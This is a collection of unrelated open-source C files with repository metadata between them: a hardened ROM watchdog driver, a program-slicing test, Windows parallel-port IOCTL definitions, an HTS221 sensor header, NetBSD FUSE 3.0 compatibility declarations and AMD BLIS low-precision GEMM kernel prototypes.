kLcStateDev: HARDENED_CHECK_EQ(lc_state, kLcStateDev); enable = kHardenedBoolTrue; break; case kLcStateProd: HARDENED_CHECK_EQ(lc_state, kLcStateProd); enable = kHardenedBoolTrue; break; case kLcStateProdEnd: HARDENED_CHECK_EQ(lc_state, kLcStateProdEnd); enable = kHardenedBoolTrue; break; case kLcStateRma: HARDENED_CHECK_EQ(lc_state, kLcStateRma); enable = kHardenedBoolFalse; break; default: HARDENED_TRAP(); } uint32_t threshold = otp_read32( OTP_CTRL_PARAM_OWNER_SW_CFG_ROM_WATCHDOG_BITE_THRESHOLD_CYCLES_OFFSET); // Disable watchdog if `threshold` is less than minimum. if (launder32(threshold) < kWatchdogMinThreshold) { HARDENED_CHECK_LT(threshold, kWatchdogMinThreshold); enable = kHardenedBoolFalse; } watchdog_configure((watchdog_config_t){ // 1.125 x bite_threshold .bark_threshold = (9 * threshold) / 8, .bite_threshold = threshold, .enable = enable, }); } void watchdog_configure(watchdog_config_t config) { SEC_MMIO_ASSERT_WRITE_INCREMENT(kWatchdogSecMmioConfigure, 4); // Tell pwrmgr we want watchdog reset events to reset the chip. sec_mmio_write32( kPwrMgrBase + PWRMGR_RESET_EN_REG_OFFSET, bitfield_bit32_write( 0, kTopEarlgreyPowerManagerResetRequestsAonTimerAonAonTimerRstReq, true)); abs_mmio_write32(kPwrMgrBase + PWRMGR_CFG_CDC_SYNC_REG_OFFSET, 1); // Set the watchdog bite and bark thresholds. sec_mmio_write32(kBase + AON_TIMER_WDOG_CTRL_REG_OFFSET, kCtrlDisable); abs_mmio_write32(kBase + AON_TIMER_WDOG_COUNT_REG_OFFSET, 0); abs_mmio_write32(kBase + AON_TIMER_WDOG_BARK_THOLD_REG_OFFSET, config.bark_threshold); sec_mmio_write32(kBase + AON_TIMER_WDOG_BITE_THOLD_REG_OFFSET, config.bite_threshold); // Enable or disable the watchdog as requested. uint32_t ctrl = kCtrlEnable; switch (launder32(config.enable)) { case kHardenedBoolTrue: HARDENED_CHECK_EQ(config.enable, kHardenedBoolTrue); ctrl = kCtrlEnable; break; case kHardenedBoolFalse: HARDENED_CHECK_EQ(config.enable, kHardenedBoolFalse); ctrl = kCtrlDisable; break; default: HARDENED_TRAP(); } sec_mmio_write32(kBase + AON_TIMER_WDOG_CTRL_REG_OFFSET, ctrl); // Redundantly re-request the pwrmgr configuration sync since it isn't // possible to use sec_mmio for it. abs_mmio_write32(kPwrMgrBase + PWRMGR_CFG_CDC_SYNC_REG_OFFSET, 1); } void watchdog_disable(void) { SEC_MMIO_ASSERT_WRITE_INCREMENT(kWatchdogSecMmioDisable, 1); sec_mmio_write32(kBase + AON_TIMER_WDOG_CTRL_REG_OFFSET, kCtrlDisable); } void watchdog_pet(void) { abs_mmio_write32(kBase + AON_TIMER_WDOG_COUNT_REG_OFFSET, 0); } uint32_t watchdog_get(void) { return abs_mmio_read32(kBase + AON_TIMER_WDOG_COUNT_REG_OFFSET); }
32869cffd6535030df6af23f9da62da5c1010085
de22e1e826e75096c32fd4685b377e2e750f94c8
/tests/slicing/sources/recursive1.c
5c81fd848c91978b18e001b7feda00e3850bcf72
[ "MIT" ]
permissive
mchalupa/dg
bb1430ebe5c9957d5f1b1278567674bdc03546ce
df6e4e23d2a0740ec9d9fa38e80032bd80556c95
refs/heads/master
2023-09-05T02:57:01.261394
2022-06-29T12:53:04
2022-12-19T10:12:03
31,018,102
458
146
MIT
2023-05-02T12:43:24
2015-02-19T14:12:47
C++
UTF-8
C
false
false
193
c
recursive1.c
void set(int *n, int *x) { if (!x) { x = n; set(n, x); } else *x = 13; } int main(void) { int a; set(&a, 0); test_assert(a == 13); return 0; }
0740c38d08246a0111ac6b2aea2af05c3292e2f0
78dc9f153549b281be709227bc9897931b06260d
/generation/WinSDK/RecompiledIdlHeaders/shared/ntddpar.h
668ca38f714f54c3aa16777185cb35eae39e5ad6
[ "MIT" ]
permissive
microsoft/win32metadata
dff35b4fe904d556162cee5133294c4498f1a79a
5bf233f04d45f7a697e112e9639722551103eb07
refs/heads/main
2023-09-01T19:51:22.972899
2023-08-30T21:39:44
2023-08-30T21:39:44
270,838,404
1,240
107
NOASSERTION
2023-09-14T18:49:44
2020-06-08T21:52:10
C++
UTF-8
C
false
false
6,571
h
ntddpar.h
/*++ BUILD Version: 0001 // Increment this if a change has global effects Copyright (c) Microsoft Corporation. All rights reserved. Module Name: ntddpar.h Abstract: This is the include file that defines all constants and types for accessing the Parallel device. --*/ // // Interface GUID // // // need these GUIDs outside conditional includes so that user can // #include <ntddpar.h> in precompiled header // #include <initguid.h> in a single source file // #include <ntddpar.h> in that source file a second time to instantiate the GUIDs // // #ifdef WANT_WDM #ifndef FAR #define FAR #endif #ifdef DEFINE_GUID #if (NTDDI_VERSION >= NTDDI_WINXP) // Windows XP Version DEFINE_GUID(GUID_DEVINTERFACE_PARALLEL, 0x97F76EF0, 0xF883, 0x11D0, 0xAF, 0x1F, 0x00, 0x00, 0xF8, 0x00, 0x84, 0x5C); DEFINE_GUID(GUID_DEVINTERFACE_PARCLASS, 0x811FC6A5, 0xF728, 0x11D0, 0xA5, 0x37, 0x00, 0x00, 0xF8, 0x75, 0x3E, 0xD1); // // Obsolete device interface class GUID names. // (use of above GUID_DEVINTERFACE_* names is recommended). // #define GUID_PARALLEL_DEVICE GUID_DEVINTERFACE_PARALLEL #define GUID_PARCLASS_DEVICE GUID_DEVINTERFACE_PARCLASS #else // if ( NTDDI_VERSION ... ) DEFINE_GUID(GUID_PARALLEL_DEVICE, 0x97F76EF0, 0xF883, 0x11D0, 0xAF, 0x1F, 0x00, 0x00, 0xF8, 0x00, 0x84, 0x5C); DEFINE_GUID(GUID_PARCLASS_DEVICE, 0x811FC6A5, 0xF728, 0x11D0, 0xA5, 0x37, 0x00, 0x00, 0xF8, 0x75, 0x3E, 0xD1); #endif // if ( NTDDI_VERSION ... ) #endif // #endif #ifndef _NTDDPAR_ #define _NTDDPAR_ #include <winapifamily.h> #pragma region Desktop Family or OneCore Family #if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM) #ifdef __cplusplus extern "C" { #endif // // NtDeviceIoControlFile IoControlCode values for this device. // // Warning: Remember that the low two bits of the code specify how the // buffers are passed to the driver! // #define IOCTL_PAR_BASE FILE_DEVICE_PARALLEL_PORT #define IOCTL_PAR_QUERY_INFORMATION CTL_CODE(FILE_DEVICE_PARALLEL_PORT,1,METHOD_BUFFERED,FILE_ANY_ACCESS) #define IOCTL_PAR_SET_INFORMATION CTL_CODE(FILE_DEVICE_PARALLEL_PORT,2,METHOD_BUFFERED,FILE_ANY_ACCESS) // // Returns NULL terminated device ID string // #define IOCTL_PAR_QUERY_DEVICE_ID CTL_CODE(FILE_DEVICE_PARALLEL_PORT,3,METHOD_BUFFERED,FILE_ANY_ACCESS) // // Returns buffer size required for a call to IOCTL_PAR_QUERY_DEVICE_ID // to succeed. This includes device ID size plus space for terminating NULL. // #define IOCTL_PAR_QUERY_DEVICE_ID_SIZE CTL_CODE(FILE_DEVICE_PARALLEL_PORT,4,METHOD_BUFFERED,FILE_ANY_ACCESS) #define IOCTL_IEEE1284_GET_MODE CTL_CODE(FILE_DEVICE_PARALLEL_PORT, 5, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_IEEE1284_NEGOTIATE CTL_CODE(FILE_DEVICE_PARALLEL_PORT, 6, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_PAR_SET_WRITE_ADDRESS CTL_CODE(FILE_DEVICE_PARALLEL_PORT, 7, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_PAR_SET_READ_ADDRESS CTL_CODE(FILE_DEVICE_PARALLEL_PORT, 8, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_PAR_GET_DEVICE_CAPS CTL_CODE(FILE_DEVICE_PARALLEL_PORT, 9, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_PAR_GET_DEFAULT_MODES CTL_CODE(FILE_DEVICE_PARALLEL_PORT, 10, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_PAR_PING CTL_CODE(FILE_DEVICE_PARALLEL_PORT, 11, METHOD_BUFFERED, FILE_ANY_ACCESS) // // Similar to IOCTL_PAR_QUERY_DEVICE_ID above, but includes (i.e., does // not discard) the two byte size prefix returned by the device. // #define IOCTL_PAR_QUERY_RAW_DEVICE_ID CTL_CODE(FILE_DEVICE_PARALLEL_PORT, 12, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_PAR_ECP_HOST_RECOVERY CTL_CODE(FILE_DEVICE_PARALLEL_PORT, 13, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_PAR_GET_READ_ADDRESS CTL_CODE(FILE_DEVICE_PARALLEL_PORT, 14, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_PAR_GET_WRITE_ADDRESS CTL_CODE(FILE_DEVICE_PARALLEL_PORT, 15, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_PAR_TEST CTL_CODE(FILE_DEVICE_PARALLEL_PORT, 20, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_PAR_IS_PORT_FREE CTL_CODE(FILE_DEVICE_PARALLEL_PORT, 21, METHOD_BUFFERED, FILE_ANY_ACCESS) #if (NTDDI_VERSION >= NTDDI_WINXP) // Windows XP Version // returns Location of the port - generally of the form: LPTx or LPTx.y or LPTx.y-z #define IOCTL_PAR_QUERY_LOCATION CTL_CODE(FILE_DEVICE_PARALLEL_PORT, 22, METHOD_BUFFERED, FILE_ANY_ACCESS) #endif // if (NTDDI_VERSION ... ) // // NtDeviceIoControlFile InputBuffer/OutputBuffer record structures for // this device. // typedef struct _PAR_QUERY_INFORMATION{ UCHAR Status; } PAR_QUERY_INFORMATION, *PPAR_QUERY_INFORMATION; typedef struct _PAR_SET_INFORMATION{ UCHAR Init; } PAR_SET_INFORMATION, *PPAR_SET_INFORMATION; #define PARALLEL_INIT 0x1 #define PARALLEL_AUTOFEED 0x2 #define PARALLEL_PAPER_EMPTY 0x4 #define PARALLEL_OFF_LINE 0x8 #define PARALLEL_POWER_OFF 0x10 #define PARALLEL_NOT_CONNECTED 0x20 #define PARALLEL_BUSY 0x40 #define PARALLEL_SELECTED 0x80 // // This is the structure returned by IOCTL_PAR_QUERY_DEVICE_ID_SIZE. // typedef struct _PAR_DEVICE_ID_SIZE_INFORMATION { ULONG DeviceIdSize; } PAR_DEVICE_ID_SIZE_INFORMATION, *PPAR_DEVICE_ID_SIZE_INFORMATION; // // These constants are used for usReadMask and usWriteMask components of the // PARCLASS_NEGOTIATION_MASK structure that is used for: // // IOCTL_IEEE1284_NEGOTIATE, // IOCTL_IEEE1284_GET_MODE, and // IOCTL_PAR_GET_DEFAULT_MODES. // typedef struct _PARCLASS_NEGOTIATION_MASK { USHORT usReadMask; USHORT usWriteMask; } PARCLASS_NEGOTIATION_MASK, *PPARCLASS_NEGOTIATION_MASK; #define NONE 0x0000 #define CENTRONICS 0x0001 /* Write Only */ #define IEEE_COMPATIBILITY 0x0002 /* Write Only */ #define NIBBLE 0x0004 /* Read Only */ #define CHANNEL_NIBBLE 0x0008 /* Read Only */ #define BYTE_BIDIR 0x0010 /* Read Only */ #define EPP_HW 0x0020 #define EPP_SW 0x0040 #define EPP_ANY 0x0060 #define BOUNDED_ECP 0x0080 #define ECP_HW_NOIRQ 0x0100 /* HWECP PIO */ #define ECP_HW_IRQ 0x0200 /* HWECP with IRQ */ #define ECP_SW 0x0400 #define ECP_ANY 0x0780 #ifdef __cplusplus } #endif #endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM) */ #pragma endregion #endif // _NTDDPAR_
e21bf9a2fc575065cff09ce689a5ec43be151f9b
409d14156eb919757bf1c6ae8c94827520e98667
/HTS221/HTS221.h
2d0377c0436d8a5ccfb2e56e2dd636ea0fb667e5
[ "BSD-3-Clause" ]
permissive
Mculover666/HAL_Driver_Lib
8fa69e7590802290b1ef8b33dee6585d1c8a51e0
2c09811e01fed3ec64c85be50a5565f55fee995d
refs/heads/master
2023-04-12T03:27:19.326842
2023-04-08T14:30:03
2023-04-08T14:30:03
196,137,750
189
78
BSD-3-Clause
2022-06-26T10:39:17
2019-07-10T05:33:30
C
UTF-8
C
false
false
533
h
HTS221.h
#ifndef _HTS221_H_ #define _HTS221_H_ #include <stm32l0xx_hal.h> #define HTS221_ADDR_WR 0xBE #define HTS221_ADDR_RD 0xBF #define HTS221_CTRL_REG1 0x20 #define HTS221_CTRL_REG2 0x21 #define HTS221_CTRL_REG3 0x22 #define HTS221_STATUS_REG 0x27 #define HTS221_HUMIDITY_OUT_L 0x28 #define HTS221_HUMIDITY_OUT_H 0x29 #define HTS221_TEMP_OUT_L 0x2A #define HTS221_TEMP_OUT_H 0x2B void HTS221_Init(void); uint8_t HTS221_Get_Temperature(int16_t* temperature); uint8_t HTS221_Get_Humidity(int16_t* humidity); #endif /* _HTS221_H_ */
e16bde90c8c20eabb4ee01bfa6c858bbc8d09b0c
28d0f8c01599f8f6c711bdde0b59f9c2cd221203
/lib/librefuse/refuse/v30.h
1f63501fbde5e5e3f1efec46346af126f59e8a28
[]
no_license
NetBSD/src
1a9cbc22ed778be638b37869ed4fb5c8dd616166
23ee83f7c0aea0777bd89d8ebd7f0cde9880d13c
refs/heads/trunk
2023-08-31T13:24:58.105962
2023-08-27T15:50:47
2023-08-27T15:50:47
88,439,547
656
348
null
2023-07-20T20:07:24
2017-04-16T20:03:43
null
UTF-8
C
false
false
5,867
h
v30.h
/* $NetBSD: v30.h,v 1.1 2022/01/22 08:09:40 pho Exp $ */ /* * Copyright (c) 2021 The NetBSD Foundation, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote * products derived from this software without specific prior written * permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #if !defined(_FUSE_V30_H_) #define _FUSE_V30_H_ /* Compatibility header with FUSE 3.0 API. Only declarations that have * differences between versions should be listed here. */ #if !defined(FUSE_H_) # error Do not include this header directly. Include <fuse.h> instead. #endif #ifdef __cplusplus extern "C" { #endif /* Defined in <fuse_lowlevel.h> */ struct fuse_cmdline_opts; /* Function to add an entry in a readdir() operation. Introduced on * FUSE 2.3 and changed on FUSE 3.0. */ typedef int (*fuse_fill_dir_t_v30)( void *, const char *, const struct stat *, off_t, enum fuse_fill_dir_flags flags); /* The table of file system operations in FUSE 3.0. */ struct fuse_operations_v30 { int (*getattr) (const char *, struct stat *, struct fuse_file_info *fi); int (*readlink) (const char *, char *, size_t); /* getdir has been removed as of FUSE 3.0. */ int (*mknod) (const char *, mode_t, dev_t); int (*mkdir) (const char *, mode_t); int (*unlink) (const char *); int (*rmdir) (const char *); int (*symlink) (const char *, const char *); int (*rename) (const char *, const char *, unsigned int); int (*link) (const char *, const char *); int (*chmod) (const char *, mode_t, struct fuse_file_info *fi); int (*chown) (const char *, uid_t, gid_t, struct fuse_file_info *fi); int (*truncate) (const char *, off_t, struct fuse_file_info *fi); /* utime has been removed as of FUSE 3.0. */ int (*open) (const char *, struct fuse_file_info *); int (*read) (const char *, char *, size_t, off_t, struct fuse_file_info *); int (*write) (const char *, const char *, size_t, off_t, struct fuse_file_info *); int (*statfs) (const char *, struct statvfs *); int (*flush) (const char *, struct fuse_file_info *); int (*release) (const char *, struct fuse_file_info *); int (*fsync) (const char *, int, struct fuse_file_info *); int (*setxattr) (const char *, const char *, const char *, size_t, int); int (*getxattr) (const char *, const char *, char *, size_t); int (*listxattr) (const char *, char *, size_t); int (*removexattr) (const char *, const char *); int (*opendir) (const char *, struct fuse_file_info *); int (*readdir) (const char *, void *, fuse_fill_dir_t_v30, off_t, struct fuse_file_info *, enum fuse_readdir_flags); int (*releasedir) (const char *, struct fuse_file_info *); int (*fsyncdir) (const char *, int, struct fuse_file_info *); void *(*init) (struct fuse_conn_info *, struct fuse_config *); void (*destroy) (void *); int (*access) (const char *, int); int (*create) (const char *, mode_t, struct fuse_file_info *); /* ftruncate has been removed as of FUSE 3.0. */ /* fgetattr has been removed as of FUSE 3.0. */ int (*lock) (const char *, struct fuse_file_info *, int, struct flock *); int (*utimens) (const char *, const struct timespec[2], struct fuse_file_info *); int (*bmap) (const char *, size_t , uint64_t *); /* flag_* have been removed as of FUSE 3.0. */ int (*ioctl) (const char *, int, void *, struct fuse_file_info *, unsigned int, void *); int (*poll) (const char *, struct fuse_file_info *, struct fuse_pollhandle *, unsigned *); int (*write_buf) (const char *, struct fuse_bufvec *, off_t, struct fuse_file_info *); int (*read_buf) (const char *, struct fuse_bufvec **, size_t, off_t, struct fuse_file_info *); int (*flock) (const char *, struct fuse_file_info *, int); int (*fallocate) (const char *, int, off_t, off_t, struct fuse_file_info *); }; /* Mount a FUSE 3.0 filesystem. */ int fuse_mount_v30(struct fuse *fuse, const char *mountpoint); /* Unmount a FUSE 3.0 filesystem. */ void fuse_unmount_v30(struct fuse *); /* Create a FUSE 3.0 filesystem. */ struct fuse *fuse_new_v30(struct fuse_args *args, const void *op, int op_version, void *user_data); /* Destroy a FUSE 3.0 filesystem. */ void fuse_destroy_v30(struct fuse *fuse); /* Multithreaded event loop for FUSE >= 3.0 < 3.2. Of course, every * time they change a function prototype to take a single extra * option, they change it again so it takes a struct instead. Every * single time. */ int fuse_loop_mt_v30(struct fuse *fuse, int clone_fd); /* Parse common options for FUSE 3.0 */ int fuse_parse_cmdline_v30(struct fuse_args *args, struct fuse_cmdline_opts *opts); #ifdef __cplusplus } #endif #endif
03e6d60ecef43ae4ccde3ebfca0fffbad8b6d855
2387bd4c468857c882a24ecee4e3b429db885a8c
/addon/aocl_gemm/kernels/lpgemm_kernels.h
add69df94fdcb1e90cee2f975d0586319f44a5bc
[ "BSD-3-Clause" ]
permissive
amd/blis
2a6aa16ea3dce0c96481a956c6551824b1788a6e
a5a3c8ba0cf518e24cb9909af3d5543d3f4b2fc0
refs/heads/master
2023-08-17T08:14:14.769537
2023-08-07T13:48:54
2023-08-07T13:48:54
80,030,341
113
38
NOASSERTION
2023-05-28T11:18:47
2017-01-25T16:02:24
C
UTF-8
C
false
false
16,852
h
lpgemm_kernels.h
/* BLIS An object-based framework for developing high-performance BLAS-like libraries. Copyright (C) 2022-23, Advanced Micro Devices, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - Neither the name(s) of the copyright holder(s) nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef BLIS_LPGEMM_KERN_H #define BLIS_LPGEMM_KERN_H #include "lpgemm_post_ops.h" #include "aocl_bf16_type.h" typedef void (*lpgemm_m_fringe_f32_ker_ft) ( const dim_t k0, const float* a, const dim_t rs_a, const dim_t cs_a, const float* b, const dim_t rs_b, const dim_t cs_b, float* c, const dim_t rs_c, const float alpha, const float beta, lpgemm_post_op* post_ops_list, lpgemm_post_op_attr post_ops_attr ); #define LPGEMM_MAIN_KERN(A_type,B_type,C_type,LP_SFX) \ void lpgemm_rowvar_ ## LP_SFX \ ( \ const dim_t m0, \ const dim_t n0, \ const dim_t k0, \ const A_type* a, \ const dim_t rs_a, \ const dim_t cs_a, \ const dim_t ps_a, \ const B_type* b, \ const dim_t rs_b, \ const dim_t cs_b, \ C_type* c, \ const dim_t rs_c, \ const dim_t cs_c, \ const C_type alpha, \ const C_type beta, \ lpgemm_post_op* post_ops_list, \ lpgemm_post_op_attr post_ops_attr \ ) \ LPGEMM_MAIN_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_6x64); LPGEMM_MAIN_KERN(uint8_t,int8_t,int16_t,u8s8s16o16_6x32); LPGEMM_MAIN_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_6x64); LPGEMM_MAIN_KERN(float,float,float,f32f32f32of32_6x16m); LPGEMM_MAIN_KERN(float,float,float,f32f32f32of32_avx512_6x64m); LPGEMM_MAIN_KERN(int8_t,int8_t,int32_t,s8s8s32os32_6x64); LPGEMM_MAIN_KERN(int8_t,int8_t,int16_t,s8s8s16o16_6x32); #define LPGEMM_M_FRINGE_KERN(A_type,B_type,C_type,LP_SFX) \ void lpgemm_rowvar_ ## LP_SFX \ ( \ const dim_t k0, \ const A_type* a, \ const dim_t rs_a, \ const dim_t cs_a, \ const B_type* b, \ const dim_t rs_b, \ const dim_t cs_b, \ C_type* c, \ const dim_t rs_c, \ const C_type alpha, \ const C_type beta, \ lpgemm_post_op* post_ops_list, \ lpgemm_post_op_attr post_ops_attr \ ) \ LPGEMM_M_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_5x64); LPGEMM_M_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_4x64); LPGEMM_M_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_3x64); LPGEMM_M_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_2x64); LPGEMM_M_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_1x64); LPGEMM_M_FRINGE_KERN(uint8_t,int8_t,int16_t,u8s8s16o16_4x32); LPGEMM_M_FRINGE_KERN(uint8_t,int8_t,int16_t,u8s8s16o16_2x32); LPGEMM_M_FRINGE_KERN(uint8_t,int8_t,int16_t,u8s8s16o16_1x32); LPGEMM_M_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_5x64); LPGEMM_M_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_4x64); LPGEMM_M_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_3x64); LPGEMM_M_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_2x64); LPGEMM_M_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_1x64); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_avx512_5x64); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_avx512_4x64); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_avx512_3x64); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_avx512_2x64); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_avx512_1x64); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_avx512_5x48); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_avx512_4x48); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_avx512_3x48); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_avx512_2x48); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_avx512_1x48); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_avx512_5x32); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_avx512_4x32); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_avx512_3x32); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_avx512_2x32); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_avx512_1x32); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_5x16); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_4x16); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_3x16); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_2x16); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_1x16); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_5x8); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_4x8); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_3x8); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_2x8); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_1x8); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_5x4); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_4x4); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_3x4); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_2x4); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_1x4); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_5x2); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_4x2); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_3x2); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_2x2); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_1x2); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_5x1); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_4x1); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_3x1); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_2x1); LPGEMM_M_FRINGE_KERN(float,float,float,f32f32f32of32_1x1); LPGEMM_M_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_5x64); LPGEMM_M_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_4x64); LPGEMM_M_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_3x64); LPGEMM_M_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_2x64); LPGEMM_M_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_1x64); LPGEMM_M_FRINGE_KERN(int8_t,int8_t,int16_t,s8s8s16o16_4x32); LPGEMM_M_FRINGE_KERN(int8_t,int8_t,int16_t,s8s8s16o16_2x32); LPGEMM_M_FRINGE_KERN(int8_t,int8_t,int16_t,s8s8s16o16_1x32); #define LPGEMM_N_FRINGE_KERN(A_type,B_type,C_type,LP_SFX) \ void lpgemm_rowvar_ ## LP_SFX \ ( \ const dim_t m0, \ const dim_t k0, \ const A_type* a, \ const dim_t rs_a, \ const dim_t cs_a, \ const dim_t ps_a, \ const B_type* b, \ const dim_t rs_b, \ const dim_t cs_b, \ C_type* c, \ const dim_t rs_c, \ const C_type alpha, \ const C_type beta, \ lpgemm_post_op* post_ops_list, \ lpgemm_post_op_attr post_ops_attr \ ) \ LPGEMM_N_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_6x16); LPGEMM_N_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_12x16); LPGEMM_N_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_6x32); LPGEMM_N_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_9x32); LPGEMM_N_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_6x48); LPGEMM_N_FRINGE_KERN(uint8_t,int8_t,int16_t,u8s8s16o16_6x16); LPGEMM_N_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_6x16); LPGEMM_N_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_6x32); LPGEMM_N_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_6x48); LPGEMM_N_FRINGE_KERN(float,float,float,f32f32f32of32_avx512_6x48m); LPGEMM_N_FRINGE_KERN(float,float,float,f32f32f32of32_avx512_6x32m); 